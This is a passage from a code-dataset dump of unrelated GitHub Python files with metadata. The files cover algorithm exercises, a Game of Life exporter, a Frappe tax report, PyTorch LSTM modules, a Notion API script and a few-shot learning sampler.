roots[v] = find(roots[v])\n return roots[v]\n\nanswer = 0\n\nfor a,b,c in edges:\n aroot = find(a)\n broot = find(b)\n if aroot != broot:\n roots[min(aroot,broot)] = max(aroot,broot)\n answer += c # 왜 루트 다를 때만 더하는 건지????\n\nprint(answer)","repo_name":"yeonwooz/BOJ","sub_path":"1197/2/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4101024458","text":"# def aModm(s,mod):\n# number=0\n# for i in range(len(s)):\n# number=(number*10 +int(s[i]))\n# number=number%mod\n#\n# return number\n# def BigMod(a,b,m):\n# ans=aModm(a,m)\n# mul=ans\n# for i in range(1,b):\n# ans=(ans*mul)%m\n# return ans\n# a = \"7\"\n# b, m = 37, 9\n# print(BigMod(a, b, m))\ndef bigmod(base,pow,mod):\n if pow==0:\n return 1\n elif pow%2==0:\n p1=bigmod(base,pow/2,mod)\n return (p1*p1)%mod\n elif pow%2==1:\n p1=base%mod\n p2=bigmod(base,pow-1,mod)\n return (p1*p2)%mod\nprint(bigmod(2,30,11))\n","repo_name":"Tarikul01/Programming","sub_path":"AlgorithmAndDatastructure/bigmod.py","file_name":"bigmod.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42491031422","text":"from random import random\nfrom time import sleep\n\nSYMBOLS = {\n True: \"██\",\n False: \" \"\n }\n\ndef random_bool(p: float = .5) -> bool:\n return p > random()\n\ndef game_of_life(neighbours: list[bool], current_cell: bool) -> bool:\n \"\"\"The rule for the game of life.\"\"\"\n neigh = sum(neighbours)\n if neigh == 3:\n return True\n if neigh == 2:\n return current_cell\n return False\n # return (neigh == 3) or (current_cell and neigh == 2)\n\ndef get_neighbours(grid: list[list[bool]], y: int, x: int) -> list[bool]:\n w, h = len(grid[0]), len(grid)\n return [grid[(y-1)%h][(x-1)%w], grid[(y-1)%h][x], grid[(y-1)%h][(x+1)%w],\n grid[(y )%h][(x-1)%w], grid[y%h ][(x+1)%w],\n grid[(y+1)%h][(x-1)%w], grid[(y+1)%h][x], grid[(y+1)%h][(x+1)%w]]\n\ndef apply_rule(rule, grid: list[list[bool]]) -> list[list[bool]]:\n width, height = len(grid[0]), len(grid)\n # empty grid of *grid*'s shape\n new_grid = [[None for _ in range(width)] for _ in range(height)]\n # loop on the cells\n for y, line in enumerate(grid):\n for x, cell in enumerate(line):\n c = rule(get_neighbours(grid, y, x), cell)\n new_grid[y][x] = c\n return new_grid\n\n\ndef show(grid: list[list[bool]]) -> None:\n res = \"\\n\\n\"\n for line in grid:\n res += \"\\n\"\n for elt in line:\n res += SYMBOLS[elt]\n print(res, end=\"\")\n\ndef beamer_show(grid: list[list[bool]]) -> None:\n result = \"\\n\\\\def\\\\figureGrid{\\n\"\n for line in grid[:-1]:\n result += \" {\"\n result += ','.join(map(lambda x: '01'[x], line))\n result += \"},\\n\"\n result += ' {' + ','.join(map(lambda x: '01'[x], grid[-1])) + '}%\\n'\n result += '}\\\\gridFrame{\\\\figureTitle}{\\\\figureGrid}\\n'\n print(result)\n\n\ndef main():\n # WIDTH, HEIGHT = int(input(\"Enter width : \")), int(input(\"Enter height : \"))\n WIDTH, HEIGHT = 37, 15\n generation = 0\n grid = [[random_bool(.3) for _ in range(WIDTH)] for _ in range(HEIGHT)]\n previous_grids = [grid]\n print(\"\\\\newcommand\\\\figureTitle{Evolution d'une grille aléatoire}\\n\")\n while grid not in previous_grids[:-1]:\n grid = apply_rule(game_of_life, grid)\n beamer_show(grid)\n previous_grids.append(grid)\n generation += 1\n # sleep(.01)\n print(generation, \"generations\")\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"OsKaR31415/AC","sub_path":"beamer_gol.py","file_name":"beamer_gol.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"9395751460","text":"import sys\r\nimport heapq\r\n\r\nn = int(sys.stdin.readline().rstrip())\r\nhq = []\r\nmax_day = 0\r\nfor _ in range(n) :\r\n a,b = map(int,sys.stdin.readline().split())\r\n max_day = max(max_day, a)\r\n heapq.heappush(hq,(-a,b))\r\n\r\nhq2 = []\r\nanswer = 0\r\nfor now_day in range(max_day+1, 0, -1) :\r\n if len(hq) > 0 :\r\n while now_day == -hq[0][0] :\r\n a,b = heapq.heappop(hq)\r\n heapq.heappush(hq2,-b)\r\n if len(hq) == 0 :\r\n break\r\n\r\n if len(hq2) > 0 :\r\n b = heapq.heappop(hq2)\r\n answer -= b\r\n\r\n\r\nprint(answer)","repo_name":"chickenchickenlove/BOJ-Algorithm","sub_path":"BOJ_백준 알고리즘/13904_과제.py","file_name":"13904_과제.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26661129242","text":"from __future__ import unicode_literals\nimport frappe\nfrom frappe.utils import cstr, cint, flt, formatdate, format_datetime\nfrom frappe.model.document import Document\nfrom frappe.utils.csvutils import UnicodeWriter\nimport time\n\nclass Reporte607(Document):\n\tpass\n\n@frappe.whitelist()\ndef get_file_address(from_date, to_date):\n\tresult = frappe.db.sql(\"\"\"\n\t\tSELECT \n\t\t\tcust.tax_id, \n\t\t\tsinv.ncf, \n\t\t\tsinv.posting_date, \n\t\t\tsinv.base_total_taxes_and_charges, \n\t\t\tsinv.tipo_de_ingreso, \n\t\t\tsinv.base_total \n\t\tFROM \n\t\t\t`tabSales Invoice` AS sinv \n\t\tJOIN \n\t\t\ttabCustomer AS cust on sinv.customer = cust.name \n\t\tWHERE \n\t\t\tsinv.ncf NOT LIKE '%s' AND sinv.docstatus = 1 AND sinv.posting_date \n\t\tBETWEEN\n\t\t\t'%s' AND '%s' \n\t\"\"\" % (\"SINV-%\", from_date, to_date), as_dict=True)\n\n\tw = UnicodeWriter()\n\tw.writerow(['RNC', 'Tipo de RNC', 'NCF', 'NCF modificado', 'Fecha de impresion', 'ITBIS facturado', 'Tipo de Ingreso', 'Monto Total'])\n\t\t\n\tfor row in result:\n\t\ttipo_rnc = frappe.get_value(\"Customer\", {\"tax_id\": row.tax_id }, [\"tipo_rnc\"])\n\t\tw.writerow([row.tax_id.replace(\"-\", \"\") if row.tax_id else \"\", tipo_rnc, row.ncf, \"\", row.posting_date.strftime(\"%Y%m%d\"), row.base_total_taxes_and_charges, row.tipo_de_ingreso, row.base_total])\n\n\tfrappe.response['result'] = cstr(w.getvalue())\n\tfrappe.response['type'] = 'csv'\n\tfrappe.response['doctype'] = \"Reporte_607_\" + str(int(time.time()))\n\n\n\n\n\n\n \t\n","repo_name":"Lewinta/dgii-s","sub_path":"dgii/dgii/doctype/reporte_607/reporte_607.py","file_name":"reporte_607.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"27606327990","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/12/21 13:03\n# @Author : fovegage\n# @Email : fovegage@gmail.com\n# @File : bind_stu.py\n# @Software: PyCharm\n\n# 定义基类\n# self 类本身\nclass Base():\n def __init__(self, name, **par):\n self.name = name\n for key, value in par.items():\n setattr(self, key, value)\n\n def __set__(self, instance, value):\n if instance is None:\n return self\n else:\n instance.__dict__[self.name] = value\n\n# 定义检查类\nclass MsutInt(Base):\n expect_type = type(None)\n def __set__(self, instance, value):\n if not isinstance(value, self.expect_type):\n raise TypeError('must is {}'.format(self.expect_type))\n super().__set__(instance, value)\n\n\n# 定义数据类型\nclass Interger(MsutInt):\n expect_type = int\n\n\nclass Stock():\n age = Interger('age')\n\n def __init__(self, age):\n self.age = age\n\n\ns = Stock(24)\nprint(repr(s.age))\n\n# 使用元类\n\nclass check(type):\n def __new__(cls, clsname, bases, methods):\n # Attach attribute names to the descriptors\n for key, value in methods.items():\n if isinstance(value, Base):\n value.name = key\n return type.__new__(cls, clsname, bases, methods)\n\nclass Stock1(metaclass=check):\n age = Interger('age')\n\n def __init__(self, age):\n self.age = age\n\n\ns = Stock1(23)\nprint(repr(s.age))\n\n\n\n","repo_name":"fovegage/learn-python","sub_path":"Python高级/构造类/bind_stu.py","file_name":"bind_stu.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"71316123667","text":"__author__ = 'zhang'\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn import linear_model\n\nprint(\"Load the training/test data using pandas\")\ntrain = pd.read_csv(\"../../data/training.csv\")\ntest = pd.read_csv(\"../../data/test.csv\")\n\n# print(\"Eliminate SPDhits, which makes the agreement check fail\")\nfeatures = list(train.columns[1:-5]) # names of features\n\nprint(\"Train a Logistic Regression model\")\nlogreg = linear_model.LogisticRegression()\nlogreg.fit(train[features], train[\"signal\"])\n\n# predict with test data\ntest_probs = logreg.predict_proba(test[features])[:,1]\nsubmission = pd.DataFrame({\"id\": test['id'], \"prediction\": test_probs})\nsubmission.to_csv(\"../../submission/logreg_base_no_tune.csv\", index=False) # 0.967423","repo_name":"ApprenticeZ/flavours-of-physics","sub_path":"src/python/basemodels.py","file_name":"basemodels.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72758195666","text":"import math, sys\n\ndef pos(seq):\n\tseq = int(seq)\n\tlayer = int(seq ** .5)\n\tx, y = -layer / 2 + (seq - layer ** 2) // 2, -layer * 3 ** .5 / 2\n\tif seq - layer ** 2 & 1:\n\t\tx += .5\n\t\ty += .5 / 3 ** .5\n\treturn x, y\n\nfor s in sys.stdin:\n\ta, b = map(pos, s.split())\n\tprint('%.3f' % math.hypot(a[0] - b[0], a[1] - b[1]))\n","repo_name":"dibery/UVa","sub_path":"vol102/10233.py","file_name":"10233.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"22655331735","text":"import os\nfrom typing import TYPE_CHECKING\n\nfrom nxtools import logging, slugify\n\nfrom ayon_server.addons.addon import BaseServerAddon\nfrom ayon_server.addons.utils import classes_from_module, import_module\n\nif TYPE_CHECKING:\n from ayon_server.addons.library import AddonLibrary\n\n\nclass ServerAddonDefinition:\n title: str | None = None\n app_host_name: str | None = None\n\n def __init__(self, library: \"AddonLibrary\", addon_dir: str):\n self.library = library\n self.addon_dir = addon_dir\n self.restart_requested = False\n self._versions: dict[str, BaseServerAddon] | None = None\n\n if not self.versions:\n logging.warning(f\"Addon {self.name} has no versions\")\n return\n\n for version in self.versions.values():\n if self.app_host_name is None:\n self.app_host_name = version.app_host_name\n if self.name is None:\n self.name = version.name\n\n # do we need this check?\n if version.app_host_name != self.app_host_name:\n raise ValueError(\n f\"Addon {self.name} has version {version.version} with \"\n f\"mismatched app host name {version.app_host_name} != {self.app_host_name}\"\n )\n\n if version.name != self.name:\n raise ValueError(\n f\"Addon {self.name} has version {version.version} with \"\n f\"mismatched name {version.name} != {self.name}\"\n )\n\n self.title = version.title # Use the latest title\n\n @property\n def dir_name(self) -> str:\n return os.path.split(self.addon_dir)[-1]\n\n @property\n def name(self) -> str:\n for version in self.versions.values():\n return version.name\n raise ValueError(\"No versions found\")\n\n @property\n def friendly_name(self) -> str:\n \"\"\"Return a friendly (human readable) name of the addon.\"\"\"\n if self.versions:\n if self.title:\n return self.title\n if hasattr(self, \"name\"):\n return self.name.capitalize()\n return f\"(Empty addon {self.dir_name})\"\n\n @property\n def versions(self) -> dict[str, BaseServerAddon]:\n if self._versions is None:\n self._versions = {}\n for version_name in os.listdir(self.addon_dir):\n mdir = os.path.join(self.addon_dir, version_name)\n mfile = os.path.join(mdir, \"__init__.py\")\n if not os.path.exists(os.path.join(mfile)):\n continue\n\n vname = slugify(f\"{self.dir_name}-{version_name}\")\n try:\n module = import_module(vname, mfile)\n except AttributeError:\n logging.error(f\"Addon {vname} is not valid\")\n continue\n\n for Addon in classes_from_module(BaseServerAddon, module):\n try:\n self._versions[Addon.version] = Addon(self, mdir)\n except ValueError as e:\n logging.error(\n f\"Error loading addon {vname} versions: {e.args[0]}\"\n )\n\n if self._versions[Addon.version].restart_requested:\n logging.warning(\n f\"Addon {self.name} version {Addon.version} \"\n \"requested server restart\"\n )\n self.restart_requested = True\n\n return self._versions\n\n def __getitem__(self, item) -> BaseServerAddon:\n return self.versions[item]\n\n def get(self, item, default=None) -> BaseServerAddon | None:\n return self.versions.get(item, default)\n\n def unload_version(self, version: str) -> None:\n \"\"\"Unload the given version of the addon.\"\"\"\n if version not in self.versions:\n return None\n del self._versions[version]\n","repo_name":"ynput/ayon-backend","sub_path":"ayon_server/addons/definition.py","file_name":"definition.py","file_ext":"py","file_size_in_byte":4000,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"48"} +{"seq_id":"30273080930","text":"#!/usr/bin/env python3\n\n\"\"\"\nCheck Monte Calor statistics in CheckMate output.\n\"\"\"\n\nimport os\nimport numpy as np\n\ndef checkStats(checkmateOutput):\n \"\"\"\n Check Monte Calor statistics in CheckMate output.\n\n :param checkmateOutput: CheckMate output file (total_results.txt)\n\n :return: True if succesful, False otherwise\n \"\"\"\n\n if not os.path.isfile(checkmateOutput):\n print(\"Files %s not found\" %checkmateOutput)\n return False\n\n # Get CMS-SUS-16-032 data:\n data = np.genfromtxt(checkmateOutput,names=True,\n dtype=None,encoding=None)\n\n data = np.delete(data,np.where(data['sr'] == 'Combined'))\n ibest = np.argmax(data['rexp'])\n pt = data[ibest]\n if not pt['s']:\n ratio = 100.0\n else:\n ratio = pt['signalsumofweights']/pt['s']\n nEvts = pt['signalsumofweights']\n\n return ratio,nEvts\n\n\n\nif __name__ == \"__main__\":\n\n import argparse\n ap = argparse.ArgumentParser( description=\n \"Compute combined limit and add to checkmate output\" )\n ap.add_argument('-f', '--file', required = True,\n help='CheckMate output file (total_result.txt)')\n ap.add_argument('-v', '--verbose', default='error',\n help='verbose level (debug, info, warning or error). Default is error')\n\n args = ap.parse_args()\n rMC,nEvts = checkStats(os.path.abspath(args.file))\n print(os.path.abspath(args.file),rMC,nEvts)\n","repo_name":"andlessa/RDM","sub_path":"results/checkMCstats.py","file_name":"checkMCstats.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73168395667","text":"import argparse\n\nimport sys\nsys.path += ['../']\n\nfrom utils_inverse_problems.batch_wrapper import test\n\nmodality = 'ct'\nmethod = 'wcrr'\nn_hyperparameters = 2\n\n\ntol = 5e-6\n\nif __name__ == \"__main__\":\n # argpars\n parser = argparse.ArgumentParser()\n parser.add_argument('--device', type=str, default=\"cuda:0\")\n\n device = parser.parse_args().device\n\n NOISE_LEVELS = [0.5, 1.0, 2.0]\n\n \n EXP_NAMES = ['WCRR-CNN']\n\n \n for exp_name in EXP_NAMES:\n for noise_level in NOISE_LEVELS:\n job_name = f\"{modality}_noise_{noise_level}_wcrr_{exp_name}_\"\n test(method = method, modality = modality, job_name=job_name, noise_level=noise_level, device=device, model_name = exp_name, n_hyperparameters=n_hyperparameters, tol=tol)\n\n","repo_name":"axgoujon/convex_ridge_regularizers","sub_path":"inverse_problems/ct/test_wcrr.py","file_name":"test_wcrr.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"48"} +{"seq_id":"23044929964","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\n\n\nclass LSTM(nn.Module):\n def __init__(self, input_size=64, hidden_size=64):\n super(LSTM, self).__init__()\n self.input_size = input_size\n self.hidden_size = hidden_size\n self.Gates = nn.Conv2d(input_size + hidden_size, 4 * hidden_size, 3, padding=3 // 2)\n self.lrelu = nn.Sigmoid()\n\n def forward(self, align_feat, prev_hidden, prev_cell): # align_feat is Sm(Yn) 四维\n\n # get batch and spatial sizes\n batch_size = align_feat.data.size()[0]\n spatial_size = align_feat.data.size()[2:]\n # generate empty prev_state, if None is provided\n if prev_hidden is None:\n state_size = [batch_size, self.hidden_size] + list(spatial_size)\n prev_hidden = Variable(torch.zeros(state_size))\n prev_cell = Variable(torch.zeros(state_size))\n\n prev_hidden = prev_hidden.cuda().detach()\n prev_cell = prev_cell.cuda().detach()\n\n # data size is [batch, channel, height, width]\n stacked_inputs = torch.cat((align_feat, prev_hidden), 1)\n gates = self.Gates(stacked_inputs)\n\n # chunk across channel dimension\n in_gate, remember_gate, out_gate, cell_gate = gates.chunk(4, 1) # 对gate进行分块\n\n # apply sigmoid non linearity use\n in_gate = self.lrelu(in_gate) # i_n\n remember_gate = self.lrelu(remember_gate) # f_n\n out_gate = self.lrelu(out_gate) # 最右边的sigmoid\n\n # apply tanh non linearity\n cell_gate = torch.tanh(cell_gate) # 最下面的tanh\n\n cell = (remember_gate * prev_cell) + (in_gate * cell_gate)\n # compute current cell and hidden state\n hidden = out_gate * torch.tanh(cell)\n cell = cell + prev_cell\n return hidden, hidden, cell # hidden is copy double\n\n\nclass LSTMRen(nn.Module):\n def __init__(self, input_size=64, hidden_size=64):\n super(LSTM, self).__init__()\n self.input_size = input_size\n self.hidden_size = hidden_size\n self.Gates_1 = nn.Conv2d(input_size, input_size, 3, padding=3 // 2)\n self.Gates_2 = nn.Conv2d(hidden_size, hidden_size, 3, padding=3 // 2)\n self.weight = nn.Conv2d(64, 64, 3, padding=3//2)\n self.sigmoid = nn.Sigmoid() # can switch to\n\n def forward(self, align_feat, input_weight, prev_hidden, prev_cell): # align_feat is Sm(Yn)\n\n # get batch and spatial sizes\n batch_size = align_feat.data.size()[0]\n spatial_size = align_feat.data.size()[2:]\n # generate empty prev_state, if None is provided\n if prev_hidden is None:\n state_size = [batch_size, self.hidden_size] + list(spatial_size)\n prev_hidden = Variable(torch.zeros(state_size))\n prev_cell = Variable(torch.zeros(state_size))\n\n prev_hidden = prev_hidden.cuda().detach()\n prev_cell = prev_cell.cuda().detach()\n\n # data size is [batch, channel, height, width]\n # stacked_inputs = torch.cat((align_feat, prev_hidden), 1)\n gates_feat = self.Gates_1(align_feat)\n gates_hidden = self.Gates_2(prev_hidden)\n gates_weight = self.weight(input_weight)\n\n # apply sigmoid non linearity use\n input_gate = torch.tanh(gates_feat)\n hidden_gate = self.sigmoid(gates_hidden)\n weight = self.sigmoid(gates_weight)\n\n # deal with f_n\n cell = weight*prev_cell\n\n # compute current cell and hidden state\n remember_gate = cell + input_gate*weight\n # output H_n\n hidden = torch.tanh(remember_gate) * hidden_gate\n return hidden, hidden, remember_gate # hidden is copy double\n\n\nclass BiLstmRen(nn.Module):\n def __init__(self):\n super(BiLstm, self).__init__()\n self.ltsm_1 = LSTMRen()\n self.ltsm_2 = LSTMRen()\n\n def forward(self, feat, pre_hidden, pre_cell):\n output, h_n, c_n = self.ltsm_1(feat, pre_hidden, pre_cell)\n output, hidden, cell = self.ltsm_2(output, h_n, c_n)\n return output, hidden, cell\n\n\nclass BiLstm(nn.Module):\n def __init__(self):\n super(BiLstm, self).__init__()\n self.ltsm_1 = LSTM()\n self.ltsm_2 = LSTM()\n\n def forward(self, feat, pre_hidden, pre_cell):\n output, h_n, c_n = self.ltsm_1(feat, pre_hidden, pre_cell)\n output, hidden, cell = self.ltsm_2(output, h_n, c_n)\n return output, hidden, cell\n\n\nclass BiLstmDef(nn.Module):\n def __init__(self):\n super(BiLstmDef, self).__init__()\n self.ltsm = nn.LSTM(input_size=64, hidden_size=64, bidirectional=True)\n # self.fc = nn.Linear(128, 64)\n\n def forward(self, feat, pre_hidden, pre_cell): # feat是四维张量 lstm需要三维的\n feat = feat[0, :, :, :]\n output, hidden, cell = self.ltsm(feat, (pre_hidden, pre_cell))\n return output, hidden, cell\n\n\nclass BidirectionalLSTM(nn.Module):\n\n def __init__(self, nIn, nHidden, nOut):\n super(BidirectionalLSTM, self).__init__()\n\n self.rnn = nn.LSTM(nIn, nHidden, bidirectional=True, dropout=0.3)\n self.embedding = nn.Linear(nHidden * 2, nOut)\n\n def forward(self, input):\n recurrent, _ = self.rnn(input)\n T, b, h = recurrent.size()\n t_rec = recurrent.view(T * b, h)\n\n output = self.embedding(t_rec) # [T * b, nOut]\n output = output.view(T, b, -1)\n\n return output\n\nclass ConvLSTM(nn.Module):\n def __init__(self):\n super(ConvLSTM, self).__init__()\n self.lstm1 = BidirectionalLSTM() # LSTM()\n self.lstm2 = BidirectionalLSTM()\n self.lstm3 = BidirectionalLSTM()\n self.lstm4 = BidirectionalLSTM()\n self.lstm5 = BidirectionalLSTM()\n self.hidden = None\n self.cell = None\n # self.conv_meger_hidden = nn.Conv2d(128, 64, kernel_size=3, padding=1)\n # self.conv_meger_cell = nn.Conv2d(128, 64, kernel_size=3, padding=1)\n\n def forward(self, x): # x [8,5,64,96,96] [8, 5, 64, 64, 64]\n x1 = x[:, 0, :, :, :]\n x2 = x[:, 1, :, :, :]\n x3 = x[:, 2, :, :, :]\n x4 = x[:, 3, :, :, :]\n x5 = x[:, 4, :, :, :]\n x1, hidden1, cell1 = self.lstm1(x1, self.hidden, self.cell) # [8, 64, 64, 64]\n x2, hidden2, cell2 = self.lstm2(x2, hidden1, cell1)\n x3, hidden3, cell3 = self.lstm3(x3, hidden2, cell2)\n x4, hidden4, cell4 = self.lstm4(x4, hidden3, cell3)\n x5, hidden4, cell4 = self.lstm4(x5, hidden4, cell4)\n\n # hidden3 = torch.cat((hidden4, hidden2), dim=1)\n # hidden3 = self.conv_meger_hidden(hidden3)\n # cell3 = torch.cat((cell4, cell2), dim=1)\n # cell3 = self.conv_meger_cell(cell3)\n # x3, _, _ = self.lstm3(x3, hidden3, cell3)\n return x3\n\n\n\n\n","repo_name":"ChanSinging/DL_DCN","sub_path":"rootmodel/lstm.py","file_name":"lstm.py","file_ext":"py","file_size_in_byte":6742,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"27998016124","text":"from dotenv import dotenv_values\nfrom notion_client import Client\nfrom pprint import pprint\n\n\nconfig = dotenv_values(\".env\")\nnotion_secret = config.get('NOTION_TOKEN')\nnotion = Client(auth=notion_secret)\n\ndatabases = notion.search(filter={\"property\": \"object\", \"value\": \"database\"})\n\n#pprint(pages['results'][0]['title'][0]['plain_text'])\n#pprint(pages['results'][0]['id'])\ncal_db_id = \"\"\nwork_db_id = \"\"\nfor database in databases['results']:\n database_title = database['title'][0]['plain_text']\n #pprint(database_title)\n if database_title == '작업_test':\n work_db_id = database['id']\n print(database_title+'의 id는 '+work_db_id)\n if database_title == '일정_test':\n cal_db_id = database['id']\n print(database_title+'의 id는 '+cal_db_id)\n\n\n\n#print(database_id)\n\nwork_db_details = notion.databases.retrieve(database_id = work_db_id)\n#pprint(work_db_details['properties'])\n#pprint(work_db_details['properties']['기간'])\n\n# name = str('작업 이름')\n# pprint(work_db_details['properties'][name])\n\n# for work_db_detail in work_db_details['properties'][name]:\n# pprint(work_db_detail)\n #pprint(work_db_details['properties'][work_db_detail])\n\n# sort_option = []\n# sort_option.append({'property': '상태', 'direction': 'ascending'})\n# sort_option.append({'property': '이름', 'direction': 'descending'})\n\npprint(notion.databases.query(database_id=work_db_id, page_size=5))\n\n\nwork_db = notion.databases.query(database_id=work_db_id, page_size=5)\ndata1_name = work_db['results'][0]['properties'][str('작업 이름')]\ndata1_date = work_db['results'][0]['properties'][str('기간')]\n\npprint(data1_name)\nprint('------------------------------------')\npprint(data1_date)\n### 여기까지 작업 db 내용, 이제 일정 db에 집어넣기\n\nprint('-----------일정 db--------------')\ncal_db_details = notion.databases.query(database_id = cal_db_id,page_size=5)\n#select_prop = cal_db_details['results'][0]['properties'][str('일정')]\npprint(cal_db_details['results'])\n\n#cal_db_details['results'][0]['properties'][str('일정')] = data1_name\n\n#pprint(databases['results'][0]['properties']['일정'])\n#block_list = notion.block.children.list(block_id=cal_db_id)\n\n#print(block_list)\n#print(block_list['results'][0])\n#for bl in block_list['results']:\n# pprint(bl)\n#notion.databases.update(database_id=cal_db_id, title=title_value, properties=select_property)\n","repo_name":"odreeblue/notion_api","sub_path":"01 notion_api_run/test_db.py","file_name":"test_db.py","file_ext":"py","file_size_in_byte":2406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5944008014","text":"import numpy as np\nimport torch\nimport os\nimport json\nimport sys\nimport random\nfrom collections import Counter\n\nsys.path.insert(0,'../')\nsys.path.insert(0,'../../')\n\nfrom kaiser.src import dataio\nfrom kaiser.src import utils\n\ntry:\n dir_path = os.path.dirname(os.path.abspath( __file__ ))\nexcept:\n dir_path = '.'\n\nclass PrototypicalBatchSampler():\n \n def __init__(self, trn=False, tst=False, input_data=False, def_data=False, def_y=False,\n classes_per_it=60, num_support=5, \n iterations=100, target_frames=False):\n with open(dir_path+'/../koreanframenet/resource/info/fn1.7_frame2idx.json', 'r') as f:\n self.frame2idx = json.load(f)\n with open(dir_path+'/../koreanframenet/resource/info/fn1.7_frame_definitions.json', 'r') as f:\n self.frame2definition = json.load(f)\n \n if target_frames:\n self.target_frames = target_frames\n else:\n with open(dir_path+'/../data/target_frames.json','r') as f:\n self.target_frames = json.load(f)\n\n self.idx2frame = dict(zip(self.frame2idx.values(),self.frame2idx.keys()))\n\n# self.trn = trn\n# self.tst = tst\n \n# self.trn_y = self.get_y(self.trn)\n# self.tst_y = self.get_y(self.tst)\n \n# self.trn_data = trn_data\n# self.tst_data = tst_data\n \n self.bert_io = utils.for_BERT(mode='train', language='multi')\n \n if def_data:\n self.def_data = def_data\n self.def_y = def_y\n else:\n self.def_data, self.def_y = self.bert_io.convert_to_bert_input_label_definition(self.frame2definition, self.frame2idx)\n \n self.classes_per_it = classes_per_it \n self.num_support = num_support \n self.iterations = iterations\n \n \n def frameidx2definition(self, frameidx):\n frameidx = int(frameidx)\n \n return self.frame2definition[self.idx2frame[frameidx]]\n \n def get_y(self, data):\n y = []\n for instance in data:\n frame = False\n for i in instance[2]:\n if i != '_':\n frame = i\n break\n frameidx = self.frame2idx[frame]\n y.append(frameidx)\n return tuple(y)\n \n def get_examples(self, data, y, frame, n_sample):\n all_examples = [] #example idx\n for idx in range(len(y)):\n if y[idx] == frame:\n all_examples.append(idx)\n example_idxs = random.sample(all_examples, k=n_sample)\n \n examples = []\n for idx in example_idxs:\n example = (data[idx], y[idx])\n examples.append(example)\n return examples\n \n def gen_episode(self, data, y, n_classes):\n classes = random.sample(self.target_frames, k=n_classes)\n \n episode = []\n for k in classes:\n frame = k\n support_examples = self.get_examples(data, y, frame, self.num_support)\n query_examples = self.get_examples(self.def_data, self.def_y, frame, 1)\n \n class_indice = (support_examples, query_examples)\n episode.append(class_indice)\n \n return episode\n \n def gen_batch(self, data, y):\n batch = []\n for i in range(self.iterations):\n episode = self.gen_episode(data, y, self.classes_per_it)\n batch.append(episode)\n \n return batch\n \n \n \n \n \n \n\n \n \n \n# class PrototypicalBatchSampler_ori(object):\n# '''\n# PrototypicalBatchSampler: yield a batch of indexes at each iteration.\n# Indexes are calculated by keeping in account 'classes_per_it' and 'num_samples',\n# In fact at every iteration the batch indexes will refer to 'num_support' + 'num_query' samples\n# for 'classes_per_it' random classes.\n# __len__ returns the number of episodes per epoch (same as 'self.iterations').\n# '''\n\n# def __init__(self, labels, classes_per_it, num_samples, iterations):\n# '''\n# Initialize the PrototypicalBatchSampler object\n# Args:\n# - labels: an iterable containing all the labels for the current dataset\n# samples indexes will be infered from this iterable.\n# - classes_per_it: number of random classes for each iteration\n# - num_samples: number of samples for each iteration for each class (support + query)\n# - iterations: number of iterations (episodes) per epoch\n# '''\n# super(PrototypicalBatchSampler, self).__init__()\n# self.labels = labels\n# self.classes_per_it = classes_per_it\n# self.sample_per_class = num_samples\n# self.iterations = iterations\n\n# self.classes, self.counts = np.unique(self.labels, return_counts=True)\n# self.classes = torch.LongTensor(self.classes)\n\n# # create a matrix, indexes, of dim: classes X max(elements per class)\n# # fill it with nans\n# # for every class c, fill the relative row with the indices samples belonging to c\n# # in numel_per_class we store the number of samples for each class/row\n# self.idxs = range(len(self.labels))\n# self.indexes = np.empty((len(self.classes), max(self.counts)), dtype=int) * np.nan\n# self.indexes = torch.Tensor(self.indexes)\n# self.numel_per_class = torch.zeros_like(self.classes)\n# for idx, label in enumerate(self.labels):\n# label_idx = np.argwhere(self.classes == label).item()\n# self.indexes[label_idx, np.where(np.isnan(self.indexes[label_idx]))[0][0]] = idx\n# self.numel_per_class[label_idx] += 1\n\n# def __iter__(self):\n# '''\n# yield a batch of indexes\n# '''\n# spc = self.sample_per_class\n# cpi = self.classes_per_it\n\n# for it in range(self.iterations):\n# batch_size = spc * cpi\n# batch = torch.LongTensor(batch_size)\n# c_idxs = torch.randperm(len(self.classes))[:cpi]\n# for i, c in enumerate(self.classes[c_idxs]):\n# s = slice(i * spc, (i + 1) * spc)\n# # FIXME when torch.argwhere will exists\n# label_idx = torch.arange(len(self.classes)).long()[self.classes == c].item()\n# sample_idxs = torch.randperm(self.numel_per_class[label_idx])[:spc]\n# batch[s] = self.indexes[label_idx][sample_idxs]\n# batch = batch[torch.randperm(len(batch))]\n# yield batch\n\n# def __len__(self):\n# '''\n# returns the number of iterations (episodes) per epoch\n# '''\n# return 